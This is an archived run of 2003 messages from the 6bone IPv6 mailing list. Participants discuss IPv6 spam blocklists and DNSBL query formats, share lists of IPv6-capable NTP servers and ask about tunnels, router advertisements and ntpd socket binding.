| | I use postfix as my MTA, and didn't see you mention it, but I suspect that
| | it would probably be fairly easy to integrate.
| 
| Sabri has opened a sourceforge project (it was approved swiftly) and we're 
| now organizing things in that environment. I had some feedback from Dean
| Strik who maintains the unofficial (or?) IPv6 patches to postfix. He
| promised to look into patching the rbl client into that MTA. We already
| have a working patch for Qmail and a Sendmail milter program, as I said. 
| They'll be packaged and delivered seperately in a seperate tarball/CVS 
| module.
| 
| I'm highly enthusiastic wrt the amount of positive feedback I received
| on this! It definately motivates Sabri and me to push things further :-)
| 
| Let me gete back to you on the status at end of this week/somewhere next 
| week.
| 
| Thanks and groet,
| Pim
| -- 
| ---------- - -    - - -+- - -    - - ----------
| Pim van Pelt                 Email: pim@ipng.nl
| http://www.ipng.nl/             IPv6 Deployment
| -----------------------------------------------
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From tjc@ecs.soton.ac.uk Tue Aug  5 11:55:39 2003
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Date: Tue, 5 Aug 2003 19:55:30 +0100
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
Message-ID: <20030805185530.GG29779@login.ecs.soton.ac.uk>
Mail-Followup-To: 6bone@ISI.EDU
References: <1059715446.3176.126.camel@portal.home> <20030801055137.GA61051@scylla.towardex.com> <20030801085150.GF19355@login.ecs.soton.ac.uk> <20030801133520.GA23406@bfib.colo.bit.nl> <20030804131013.GK13730@login.ecs.soton.ac.uk> <000901c35b04$94bb1030$cc2f62d1@vyger.net> <20030805091737.GB1417@bfib.colo.bit.nl> <000701c35b67$982ab280$ec5c24a6@wcomnet.com> <20030805165005.GA22595@bfib.colo.bit.nl> <20030805175444.GA24624@fries.net>
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We've developed MailScanner here (www.mailscanner.info).  It's very
popular, and allows SpamAssassin and other tools to be bolted in.

The question is how best to handle RBLs/etc in a dual-stack environment.

We'll have a think - proxying seems appropriate.

Tim

On Tue, Aug 05, 2003 at 12:54:44PM -0500, Todd T. Fries wrote:
> Everyone has a different peg and a different shaped hole to fit it when it
> comes to MTA's and anti spam solutions.
> 
> Here's mine:
> 	
> 	http://FreeDaemonConsulting/tech/spam.php
> 
> In short, relaydb gets fed headers (being told this is a good message or spam)
> and ends up with a list of good and bad relays.
> 
> More info about relaydb is available at:
> 
> 	http://www.benzedrine.cx/relaydb.html
> 
> Feed this to the list fed into 'spamd(8)' on OpenBSD and you can block
> addresses via pf.
> 
> I've a local diff set to update, but those interested I'll mail you with it
> to enable 'spamd' in OpenBSD to deal with IPv6.
> 
> More info about spamd is available at:
> 
> 	http://www.openbsd.org/cgi-bin/man.cgi?query=spamd
> 
> While I applaud any efforts to develop a list of IPv6 known spam hosts and/or
> networks, I would want the ability to over-ride any settings as pertained to
> my local settings.  So long as there exists an automated way to retrieve any
> such lists, I can format them appropriately locally, and use spamd to block
> them.
> 
> For anyone who wishes to get a demonstration of spamd in action, feel free to
> telnet to 66.210.106.28 port 25.  It's not one of my mx hosts, therefore it
> gets redirected to spamd automagically ;-)
> 
> Thanks,
> -- 
> Todd Fries .. todd@fries.net
> 
> 
> Free Daemon Consulting, LLC                    Land: 405-748-4596
> http://FreeDaemonConsulting.com              Mobile: 405-203-6124
> "..in support of free software solutions."
> 
> Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
>             Key: http://todd.fries.net/pgp.txt
> 
> (last updated 2003/03/13 07:14:10)
> 
> Penned by Pim van Pelt on Tue, Aug 05, 2003 at 06:50:05PM +0200, we have:
> | Hi Greg, John, Cory, Dean, others,
> | 
> | Greg wrote:
> | | I can't speak for anyone else, but I would definitely be interested in it.
> | | I use postfix as my MTA, and didn't see you mention it, but I suspect that
> | | it would probably be fairly easy to integrate.
> | 
> | Sabri has opened a sourceforge project (it was approved swiftly) and we're 
> | now organizing things in that environment. I had some feedback from Dean
> | Strik who maintains the unofficial (or?) IPv6 patches to postfix. He
> | promised to look into patching the rbl client into that MTA. We already
> | have a working patch for Qmail and a Sendmail milter program, as I said. 
> | They'll be packaged and delivered seperately in a seperate tarball/CVS 
> | module.
> | 
> | I'm highly enthusiastic wrt the amount of positive feedback I received
> | on this! It definately motivates Sabri and me to push things further :-)
> | 
> | Let me gete back to you on the status at end of this week/somewhere next 
> | week.
> | 
> | Thanks and groet,
> | Pim
> | -- 
> | ---------- - -    - - -+- - -    - - ----------
> | Pim van Pelt                 Email: pim@ipng.nl
> | http://www.ipng.nl/             IPv6 Deployment
> | -----------------------------------------------
> | _______________________________________________
> | 6bone mailing list
> | 6bone@mailman.isi.edu
> | http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From todd@shadow.fries.net Tue Aug  5 12:04:57 2003
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Date: Tue, 5 Aug 2003 14:01:04 -0500
From: "Todd T. Fries" <todd@fries.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
Message-ID: <20030805190104.GB24624@fries.net>
Reply-To: todd@fries.net
References: <20030801055137.GA61051@scylla.towardex.com> <20030801085150.GF19355@login.ecs.soton.ac.uk> <20030801133520.GA23406@bfib.colo.bit.nl> <20030804131013.GK13730@login.ecs.soton.ac.uk> <000901c35b04$94bb1030$cc2f62d1@vyger.net> <20030805091737.GB1417@bfib.colo.bit.nl> <000701c35b67$982ab280$ec5c24a6@wcomnet.com> <20030805165005.GA22595@bfib.colo.bit.nl> <20030805175444.GA24624@fries.net> <20030805185530.GG29779@login.ecs.soton.ac.uk>
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I'm not sure I follow your question "How do we handle RBL's in a dual
stack environment" .. the `table' of addresses to block gets loaded into
pf on my machine, and it includes both IPv4 and IPv6 addresses.  I simply
'rdr' (redirect) an IPv4 connection with a matching source address to
spamd in the same way that I redirect an IPv6 connection with a matching
source address.

relaydb handles both IPv4 and IPv6 addresses in headers.

I'm already handling this on a multistack machine.  It handles quite
seamlessly.

Please explain your question.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    Land: 405-748-4596
http://FreeDaemonConsulting.com              Mobile: 405-203-6124
"..in support of free software solutions."

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

(last updated 2003/03/13 07:14:10)

Penned by Tim Chown on Tue, Aug 05, 2003 at 07:55:30PM +0100, we have:
| We've developed MailScanner here (www.mailscanner.info).  It's very
| popular, and allows SpamAssassin and other tools to be bolted in.
| 
| The question is how best to handle RBLs/etc in a dual-stack environment.
| 
| We'll have a think - proxying seems appropriate.
| 
| Tim
| 
| On Tue, Aug 05, 2003 at 12:54:44PM -0500, Todd T. Fries wrote:
| > Everyone has a different peg and a different shaped hole to fit it when it
| > comes to MTA's and anti spam solutions.
| > 
| > Here's mine:
| > 	
| > 	http://FreeDaemonConsulting/tech/spam.php
| > 
| > In short, relaydb gets fed headers (being told this is a good message or spam)
| > and ends up with a list of good and bad relays.
| > 
| > More info about relaydb is available at:
| > 
| > 	http://www.benzedrine.cx/relaydb.html
| > 
| > Feed this to the list fed into 'spamd(8)' on OpenBSD and you can block
| > addresses via pf.
| > 
| > I've a local diff set to update, but those interested I'll mail you with it
| > to enable 'spamd' in OpenBSD to deal with IPv6.
| > 
| > More info about spamd is available at:
| > 
| > 	http://www.openbsd.org/cgi-bin/man.cgi?query=spamd
| > 
| > While I applaud any efforts to develop a list of IPv6 known spam hosts and/or
| > networks, I would want the ability to over-ride any settings as pertained to
| > my local settings.  So long as there exists an automated way to retrieve any
| > such lists, I can format them appropriately locally, and use spamd to block
| > them.
| > 
| > For anyone who wishes to get a demonstration of spamd in action, feel free to
| > telnet to 66.210.106.28 port 25.  It's not one of my mx hosts, therefore it
| > gets redirected to spamd automagically ;-)
| > 
| > Thanks,
| > -- 
| > Todd Fries .. todd@fries.net
| > 
| > 
| > Free Daemon Consulting, LLC                    Land: 405-748-4596
| > http://FreeDaemonConsulting.com              Mobile: 405-203-6124
| > "..in support of free software solutions."
| > 
| > Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
| >             Key: http://todd.fries.net/pgp.txt
| > 
| > (last updated 2003/03/13 07:14:10)
| > 
| > Penned by Pim van Pelt on Tue, Aug 05, 2003 at 06:50:05PM +0200, we have:
| > | Hi Greg, John, Cory, Dean, others,
| > | 
| > | Greg wrote:
| > | | I can't speak for anyone else, but I would definitely be interested in it.
| > | | I use postfix as my MTA, and didn't see you mention it, but I suspect that
| > | | it would probably be fairly easy to integrate.
| > | 
| > | Sabri has opened a sourceforge project (it was approved swiftly) and we're 
| > | now organizing things in that environment. I had some feedback from Dean
| > | Strik who maintains the unofficial (or?) IPv6 patches to postfix. He
| > | promised to look into patching the rbl client into that MTA. We already
| > | have a working patch for Qmail and a Sendmail milter program, as I said. 
| > | They'll be packaged and delivered seperately in a seperate tarball/CVS 
| > | module.
| > | 
| > | I'm highly enthusiastic wrt the amount of positive feedback I received
| > | on this! It definately motivates Sabri and me to push things further :-)
| > | 
| > | Let me gete back to you on the status at end of this week/somewhere next 
| > | week.
| > | 
| > | Thanks and groet,
| > | Pim
| > | -- 
| > | ---------- - -    - - -+- - -    - - ----------
| > | Pim van Pelt                 Email: pim@ipng.nl
| > | http://www.ipng.nl/             IPv6 Deployment
| > | -----------------------------------------------
| > | _______________________________________________
| > | 6bone mailing list
| > | 6bone@mailman.isi.edu
| > | http://mailman.isi.edu/mailman/listinfo/6bone
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From john@reva.sixgirls.org Tue Aug  5 13:04:12 2003
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From: John Klos <john@sixgirls.org>
To: "Todd T. Fries" <todd@fries.net>
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Subject: Re: [6bone] RBLcheckd (was Re: Nothing is sacred...)
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Hello,

> I'm not sure I follow your question "How do we handle RBL's in a dual
> stack environment" .. the `table' of addresses to block gets loaded into
> pf on my machine, and it includes both IPv4 and IPv6 addresses.  I simply
> 'rdr' (redirect) an IPv4 connection with a matching source address to
> spamd in the same way that I redirect an IPv6 connection with a matching
> source address.

But this does introduce a new problem. Just like the spammers that send to
backup MX even when the primary returns a permanent error, we'll still see
spammers which try to send to the IPv6 address(es) in the MX, then try the
IPv4 addresses (or the other way around). Because there's generally no way
to correlate IPv6 addresses with IPv4 addresses (6in4 excepted), dual
stacked spammers will need to be blocked twice.

Does anyone have an idea for this?

John Klos
Sixgirls Computing Labs

From alec.waters@dataline.co.uk Wed Aug 13 07:49:53 2003
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Ben Winslow wrote:
> I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
> a spammer with the audacity to operate over IPv6!

More IPv6 blackhat activity here:

http://project.honeynet.org/scans/scan28/

The writeups are very interesting.

alec
-- 
Alec Waters
Dataline Software Ltd
Clarence House, 30-31 North Street, Brighton, BN1 1EB, UK

Tel: +44 (0)1273 324939
Fax: +44 (0)1273 205576
www: http://www.dataline.co.uk
IPv6: http://www.ipv6.dataline.co.uk



From jeroen@unfix.org Wed Aug 13 10:36:15 2003
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Subject: RE: [6bone] Nothing is sacred...
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-----BEGIN PGP SIGNED MESSAGE-----

Alec Waters wrote:

> Ben Winslow wrote:
> > I fixed IPv6 SMTP yesterday, only to discover the wonderful 
> droppings of
> > a spammer with the audacity to operate over IPv6!
> 
> More IPv6 blackhat activity here:
> 
> http://project.honeynet.org/scans/scan28/
>
> The writeups are very interesting.

And not very strange as italians are already doing much
damage in the IPv4 world and they have also been noted
for trying to do so in the IPv6 world for some time now.

I quote:
8<------------
The attacker uses 2001:6b8:0:400::5d0e as IPv6 address. This address is part of 2001:6b8::/48, which is assigned to Telecom Italia for the 'ngnet initiative'. 
- --------------->8

Fortunatly they learned from it:
8<-----------------
This service is avaiable only accessing using IP addresses assigned to the Telecom Italia group. if you are using one of these addresses and you read this message please send an email containing your IP address to tbadmin@ngnet.it
- -------------------->8

No more abusing italians through there at least.
Which did explain why we saw a jump in italian requests at SixXS,
of which most had dubieus addresses and mostly one intention: irc.
And thus where nicely declined on those grounds.

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From hari@UDel.Edu Thu Aug 14 22:08:05 2003
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Date: Fri, 15 Aug 2003 01:08:02 -0400 (EDT)
From: Harish Nair <hari@UDel.Edu>
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Subject: [6bone] IPv6 NTP testing
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Hi All,

We have set up an IPv6 NTP server "hepzibah-ip6.udel.edu" for public use
over the 6bone network. We would welcome any volunteers to test it out.
The server runs in "NTP SERVER" mode and serves requests from machines
running in  "NTP CLIENT" mode.

Please do get back to me at hari@udel.edu in case you encounter any
problems. You can also  visit www.ntp.org for any questions about NTP. The
NTP mailing lists can be found at http://mailman.ntp.org/mailman/listinfo.

Thanks,
Harish



From riel@imladris.surriel.com Fri Aug 15 20:15:41 2003
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From: Rik van Riel <riel@imladris.surriel.com>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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On Fri, 1 Aug 2003, Bill Manning wrote:

> I've been getting crap for just over a year, generally from addresses
> of the form:
>
> 	::ffff:xxx

Those are just ipv4 connections coming in to ipv6 sockets.

Zmailer knows what to do with these and queries for the
ipv4 address in ipv4 dnsbls.  I suspect other MTAs will
learn this trick soon...

Rik
-- 
"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are,
by definition, not smart enough to debug it." - Brian W. Kernighan

From riel@imladris.surriel.com Fri Aug 15 20:23:48 2003
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From: Rik van Riel <riel@imladris.surriel.com>
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Subject: Re: [6bone] Nothing is sacred...
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On Fri, 1 Aug 2003, John Klos wrote:

> > I fixed IPv6 SMTP yesterday, only to discover the wonderful droppings of
> > a spammer with the audacity to operate over IPv6!
>
> IPv6 open relay? We all knew it was a matter of time before we started
> seeing SPAM on IPv6...

OK, time to start enhancing spamikaze to have ipv6 functionality ;)
http://spamikaze.nl.linux.org/ has the source and some basic info.

Unfortunately we have a problem.  Different MTAs do their ipv6
DNSBL queries differently.

Lets take the address 2001:4321::1 as an example, since it doesn't
seem to exist and it's really short when typed forwards.

Exim would query:

1.(many zeros).1.2.3.4.1.0.0.2.dnsbl.example.org

Zmailer would query:

1.(many zeros).1.2.3.4.1.0.0.2.ip6.dnsbl.example.org

I have no idea what the other MTAs would query.  I think we
should standardise on one way to do lookups, so the ipv6
DNSBLs would actually work...

Personally I prefer the zmailer version, since it allows one
dnsbl setting in the MTA configuration to catch both ipv4 and
ipv6 dnsbl content without any ambiguity.  Yes, I know 2.0.0.0/8
is currently reserved, but I'm not comfortable relying on that.

Also, we should have a dnsbl test address like the ipv4 dnsbls
have;  for ipv4 this is 127.0.0.2:

$ host -t any 2.0.0.127.psbl.surriel.com
2.0.0.127.psbl.surriel.com has address 127.0.0.2
2.0.0.127.psbl.surriel.com text "psbl.surriel.com test entry"
$ host -t any 2.0.0.127.list.dsbl.org
2.0.0.127.list.dsbl.org text "http://dsbl.org/listing?ip=127.0.0.2"
2.0.0.127.list.dsbl.org has address 127.0.0.2

What would be a suitable test address for ipv6 ?

kind regards,

Rik
-- 
"Debugging is twice as hard as writing the code in the first place.
Therefore, if you write the code as cleverly as possible, you are,
by definition, not smart enough to debug it." - Brian W. Kernighan

From john@reva.sixgirls.org Fri Aug 15 21:05:21 2003
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From: John Klos <john@sixgirls.org>
To: Harish Nair <hari@UDel.Edu>
cc: 6bone@mailman.isi.edu, mills@UDel.Edu
Subject: Re: [6bone] IPv6 NTP testing
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Hello,

> We have set up an IPv6 NTP server "hepzibah-ip6.udel.edu" for public use
> over the 6bone network. We would welcome any volunteers to test it out.
> The server runs in "NTP SERVER" mode and serves requests from machines
> running in  "NTP CLIENT" mode.

I also am testing ntp via IPv6. I have two test machines acting as stratum
3 time servers running ntp version 4.1.80 (and maybe 4.2.something
sometime soon). We're looking to test the code for inclusion in NetBSD
2.0.

Perhaps we could use hepzibah-ip6.udel.edu as an ntp peer?

Relating to IPv6, does anyone have any suggestions for testing (aside from
long term use)?

The machines, in case anyone would like to test, are:
lilith.sixgirls.org (NetBSD 1.6.1-release, m68k)
gaia.sixgirls.org (NetBSD 1.6.1-release, VAX)

Note that gaia is expected to be up tomorrow, but is not currently up
because of the power outages in the US.

Any ideas / suggestions are welcome.

Thanks,
John Klos
Sixgirls Computing Labs

From dean@dragon.stack.nl Sat Aug 16 14:57:25 2003
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From: Dean Strik <dean@ipnet6.org>
To: Rik van Riel <riel@imladris.surriel.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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Rik van Riel wrote:
> Those are just ipv4 connections coming in to ipv6 sockets.
> 
> Zmailer knows what to do with these and queries for the
> ipv4 address in ipv4 dnsbls.  I suspect other MTAs will
> learn this trick soon...

Postfix (with my IPv6 patch) does this too.

-- 
Dean C. Strik             Eindhoven University of Technology
dean@stack.nl  |  dean@ipnet6.org  |  http://www.ipnet6.org/
"This isn't right. This isn't even wrong." -- Wolfgang Pauli

From bmanning@ISI.EDU Sat Aug 16 15:01:04 2003
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] IPv6 NTP testing
In-Reply-To: <Pine.NEB.4.56.0308152347100.8150@reva.sixgirls.org> from John Klos at "Aug 16, 3 00:05:01 am"
To: john@sixgirls.org (John Klos)
Date: Sat, 16 Aug 2003 15:01:00 -0700 (PDT)
Cc: hari@UDel.Edu, 6bone@ISI.EDU, mills@UDel.Edu
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 a number of v6-stack NTP servers should already be running.
 I've collected this list over the past year, most are s2-3
 and one has been s-1 w/ a PPS source.

List of v6 capable NTP servers:
                                                                                    
        ntp.ipv6.viagenie.qc.ca.
        ntp.immanent.net.
        ntp1.bit.nl.
        ntp2.bit.nl.
        ntp6.space.net.
        bong.karoshi.com.



% Hello,
% 
% > We have set up an IPv6 NTP server "hepzibah-ip6.udel.edu" for public use
% > over the 6bone network. We would welcome any volunteers to test it out.
% > The server runs in "NTP SERVER" mode and serves requests from machines
% > running in  "NTP CLIENT" mode.
% 
% I also am testing ntp via IPv6. I have two test machines acting as stratum
% 3 time servers running ntp version 4.1.80 (and maybe 4.2.something
% sometime soon). We're looking to test the code for inclusion in NetBSD
% 2.0.
% 
% Perhaps we could use hepzibah-ip6.udel.edu as an ntp peer?
% 
% Relating to IPv6, does anyone have any suggestions for testing (aside from
% long term use)?
% 
% The machines, in case anyone would like to test, are:
% lilith.sixgirls.org (NetBSD 1.6.1-release, m68k)
% gaia.sixgirls.org (NetBSD 1.6.1-release, VAX)
% 
% Note that gaia is expected to be up tomorrow, but is not currently up
% because of the power outages in the US.
% 
% Any ideas / suggestions are welcome.
% 
% Thanks,
% John Klos
% Sixgirls Computing Labs
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).


From dean@dragon.stack.nl Sat Aug 16 15:11:57 2003
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From: Dean Strik <dean@ipnet6.org>
To: Rik van Riel <riel@imladris.surriel.com>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Nothing is sacred...
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References: <1059715446.3176.126.camel@portal.home> <Pine.NEB.4.56.0308010242030.21674@reva.sixgirls.org> <Pine.LNX.4.55L.0308152316540.24459@imladris.surriel.com>
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Rik van Riel wrote:
> Unfortunately we have a problem.  Different MTAs do their ipv6
> DNSBL queries differently.
> 
> Lets take the address 2001:4321::1 as an example, since it doesn't
> seem to exist and it's really short when typed forwards.
> 
> Exim would query:
> 1.(many zeros).1.2.3.4.1.0.0.2.dnsbl.example.org
> Zmailer would query:
> 1.(many zeros).1.2.3.4.1.0.0.2.ip6.dnsbl.example.org
> 
> I have no idea what the other MTAs would query.  I think we
> should standardise on one way to do lookups, so the ipv6
> DNSBLs would actually work...

Agreed.

> Personally I prefer the zmailer version, since it allows one
> dnsbl setting in the MTA configuration to catch both ipv4 and
> ipv6 dnsbl content without any ambiguity.  Yes, I know 2.0.0.0/8
> is currently reserved, but I'm not comfortable relying on that.

Agreed.

It is my intention to add support for DNSBL queries for IPv6 clients to
Postfix soon. I hope something will come out of this before that.
Otherwise I'll probably use the .ip6. subdomain.

I'm very interested in what other MTAs use.

-- 
Dean C. Strik             Eindhoven University of Technology
dean@stack.nl  |  dean@ipnet6.org  |  http://www.ipnet6.org/
"This isn't right. This isn't even wrong." -- Wolfgang Pauli

From dean@dragon.stack.nl Sat Aug 16 15:39:21 2003
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Subject: Re: [6bone] IPv6 NTP testing
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Bill Manning wrote:
>  a number of v6-stack NTP servers should already be running.
>  I've collected this list over the past year, most are s2-3
>  and one has been s-1 w/ a PPS source.
> 
> List of v6 capable NTP servers:
>                                                                                     
>         ntp.ipv6.viagenie.qc.ca.
>         ntp.immanent.net.
>         ntp1.bit.nl.
>         ntp2.bit.nl.
>         ntp6.space.net.
>         bong.karoshi.com.

chime3.ipv6.surfnet.nl, stratum 1.

-- 
Dean C. Strik             Eindhoven University of Technology
dean@stack.nl  |  dean@ipnet6.org  |  http://www.ipnet6.org/
"This isn't right. This isn't even wrong." -- Wolfgang Pauli

From dragon@tdoi.org Sat Aug 16 16:00:03 2003
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Subject: Re: [6bone] IPv6 NTP testing
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Hi,

> a number of v6-stack NTP servers should already be running.
>  I've collected this list over the past year, most are s2-3
>  and one has been s-1 w/ a PPS source.
> 
> List of v6 capable NTP servers:
>                                                                                     
>         ntp.ipv6.viagenie.qc.ca.
>         ntp.immanent.net.
>         ntp1.bit.nl.
>         ntp2.bit.nl.
>         ntp6.space.net.
>         bong.karoshi.com.
> 

here is a list with verified working NTP servers:

ntp6.space.net
time6.ipv6.uni-muenster.de
ntp.rhrk.uni-kl.de
ntp.ipv6.viagenie.qc.ca
ntp.ipv6.linux.ee
noc.sixxs.net
nlams01.sixxs.net
nlams02.sixxs.net
ntp1.bit.nl
ntp2.bit.nl

greets
 Christian




From frederick.lefebvre@hexago.com Mon Aug 18 12:30:52 2003
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Date: Mon, 18 Aug 2003 15:30:49 -0400
From: Frederick Lefebvre <frederick.lefebvre@hexago.com>
To: Bill Manning <bmanning@ISI.EDU>, John Klos <john@sixgirls.org>
cc: hari@UDel.Edu, 6bone@ISI.EDU, mills@UDel.Edu
Subject: Re: [6bone] IPv6 NTP testing
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I've setup a web page with a list of known and verified ipv6 ntp servers:

http://eng.hexago.com/services/ntp.shtml

Regards,

Frederick Lefebvre
--
System and Network administrator
Hexago Inc. / Viagenie
(418)266-5533 #226
------------------------------------------------
http://www.freenet6.net : Free IPv6 Connectivity
------------------------------------------------

--On Saturday, August 16, 2003 15:01:00 -0700 Bill Manning 
<bmanning@ISI.EDU> wrote:

>  a number of v6-stack NTP servers should already be running.
>  I've collected this list over the past year, most are s2-3
>  and one has been s-1 w/ a PPS source.
>
> List of v6 capable NTP servers:
>
>          ntp.ipv6.viagenie.qc.ca.
>         ntp.immanent.net.
>         ntp1.bit.nl.
>         ntp2.bit.nl.
>         ntp6.space.net.
>         bong.karoshi.com.
>
>
>
> % Hello,
> %
> % > We have set up an IPv6 NTP server "hepzibah-ip6.udel.edu" for public
> use % > over the 6bone network. We would welcome any volunteers to test
> it out. % > The server runs in "NTP SERVER" mode and serves requests from
> machines % > running in  "NTP CLIENT" mode.
> %
> % I also am testing ntp via IPv6. I have two test machines acting as
> stratum % 3 time servers running ntp version 4.1.80 (and maybe
> 4.2.something % sometime soon). We're looking to test the code for
> inclusion in NetBSD % 2.0.
> %
> % Perhaps we could use hepzibah-ip6.udel.edu as an ntp peer?
> %
> % Relating to IPv6, does anyone have any suggestions for testing (aside
> from % long term use)?
> %
> % The machines, in case anyone would like to test, are:
> % lilith.sixgirls.org (NetBSD 1.6.1-release, m68k)
> % gaia.sixgirls.org (NetBSD 1.6.1-release, VAX)
> %
> % Note that gaia is expected to be up tomorrow, but is not currently up
> % because of the power outages in the US.
> %
> % Any ideas / suggestions are welcome.
> %
> % Thanks,
> % John Klos
> % Sixgirls Computing Labs
> % _______________________________________________
> % 6bone mailing list
> % 6bone@mailman.isi.edu
> % http://mailman.isi.edu/mailman/listinfo/6bone
> %
>
>
> --
> --bill
>
> Opinions expressed may not even be mine by the time you read them, and
> certainly don't reflect those of any other entity (legal or otherwise).
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone



From leo@ubiobio.cl Mon Aug 18 13:59:13 2003
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Subject: [6bone] I2 tunnel.
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Hello

We are a research group from a chilean University and we would like to
improve our conection to 6bone. Actually we have a link with
"tunnelbroker"[1] a they've assigned us a /64[2].
But we would like to take adventage of our link to Internet2 so, is there
someone who could provide this kind of conection via Internet2 link
(hopefully a University).


[1]http://www.tunnelbroker.com
[2] 2001:470:1F00:339::/64


My best Regards.

--
Leonardo Saavedra
mailto:leo@ubiobio.cl


From sandeep@matrixinfosystems.com Tue Aug 19 23:20:36 2003
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Hello=20
I am very new in 6bone. Can anybody tell me do router requires to =
process router advertisement from the neighboring router? If yes what =
kind of processing? only adding the on-link prefixes in its prefix list =
or anything else. RFC2461didnot specify anything regarding this clearly. =
Can anybody guide me or give me any link regarding the same.
Also anybody can tell ! in this scenario =
1(host)-----2(router)-----3(router)----4(host) (connected with links) if =
node 1, wants to send 4 any packet then is IPv6 is enough to send the =
packet (provided I have not added any static route in 1 2 3), or  there =
need to run RIPng in 2,  3 for the same to route the packet. Please tell =
me in details above the same.
Thanks
Sandeep Bera
Matrix Infosystems
India

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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I am very new in 6bone. Can anybody =
tell me do=20
router requires to process router advertisement from the neighboring =
router?=20
</FONT><FONT face=3DArial size=3D2>If yes what kind of processing? only =
adding the=20
on-link prefixes in&nbsp;its prefix list or anything else. RFC2461didnot =
specify=20
anything regarding this clearly. Can anybody guide me&nbsp;or give me =
any link=20
regarding the same.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Also anybody&nbsp;can tell ! in this =
scenario=20
1(host)-----2(router)-----3(router)----4(host) (connected with =
</FONT><FONT=20
face=3DArial size=3D2>links) if node 1, wants to send 4 any packet then =
is IPv6 is=20
enough to send the packet&nbsp;(provided I have not added any static =
route in 1=20
2 3), or&nbsp; there need to run RIPng in 2,  3 for the same to route =
the=20
packet. Please tell me in details above the same.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sandeep Bera</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Matrix Infosystems</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>India</FONT></DIV></BODY></HTML>

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From pim@ipng.nl Wed Aug 20 03:31:37 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Frederick Lefebvre <frederick.lefebvre@hexago.com>
Cc: Bill Manning <bmanning@ISI.EDU>, John Klos <john@sixgirls.org>,
   hari@UDel.Edu, 6bone@ISI.EDU, mills@UDel.Edu
Subject: Re: [6bone] IPv6 NTP testing
Message-ID: <20030820103117.GA13169@bfib.colo.bit.nl>
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Hi,

| I've setup a web page with a list of known and verified ipv6 ntp servers:
Thanks for the list!

I was looking at ntp1.bit.nl a bit and see that it's binding UDP sockets
on any IP address it can find:
udp4       0      0  127.0.0.1.123          *.*                    
udp6       0      0  fe80:4::1.123          *.*                    
udp6       0      0  ::1.123                *.*                    
udp6       0      0  2001:7b8:3:2c::5.123   *.*                    
udp6       0      0  2001:7b8:3:2c::1.123   *.*                    
udp6       0      0  2001:7b8:3:2c:20.123   *.*                    
udp4       0      0  213.136.12.53.123      *.*                    
udp4       0      0  213.136.12.52.123      *.*                    
udp6       0      0  fe80:1::202:b3ff.123   *.*                    
udp4       0      0  213.136.12.51.123      *.*                    

AND on the UDP unspecified address in both protocol families:
udp6       0      0  *.123                  *.*                    
udp4       0      0  *.123                  *.*                    

Is there anybody who can explain this behavior, and perhaps have the 
server bind either to 'the unspecified, thus any' or to a specific IPv4
IPv6 address ?

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From kim@tac.nyc.ny.us Wed Aug 20 07:29:02 2003
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Subject: Re: [6bone] IPv6 NTP testing
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 from Pim van Pelt on Wed, 20 Aug 2003 12:31:17 +0200
References: <200308162201.h7GM10I07478@boreas.isi.edu> <1167630000.1061235049@hades.hexago.com> <20030820103117.GA13169@bfib.colo.bit.nl>
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Let's see if I understood this correctly way back...

ntpd needs to send responses back using the same IP address that it
received the original request on.  To track the addresses, it uses
separate file descriptors.

Cheers,
+ Kim


| From:    Pim van Pelt <pim@ipng.nl>
| Date:    Wed, 20 Aug 2003 12:31:17 +0200
|
| Hi,
|
| | I've setup a web page with a list of known and verified ipv6 ntp servers:
| Thanks for the list!
|
| I was looking at ntp1.bit.nl a bit and see that it's binding UDP sockets
| on any IP address it can find:
| udp4       0      0  127.0.0.1.123          *.*
| udp6       0      0  fe80:4::1.123          *.*
| udp6       0      0  ::1.123                *.*
| udp6       0      0  2001:7b8:3:2c::5.123   *.*
| udp6       0      0  2001:7b8:3:2c::1.123   *.*
| udp6       0      0  2001:7b8:3:2c:20.123   *.*
| udp4       0      0  213.136.12.53.123      *.*
| udp4       0      0  213.136.12.52.123      *.*
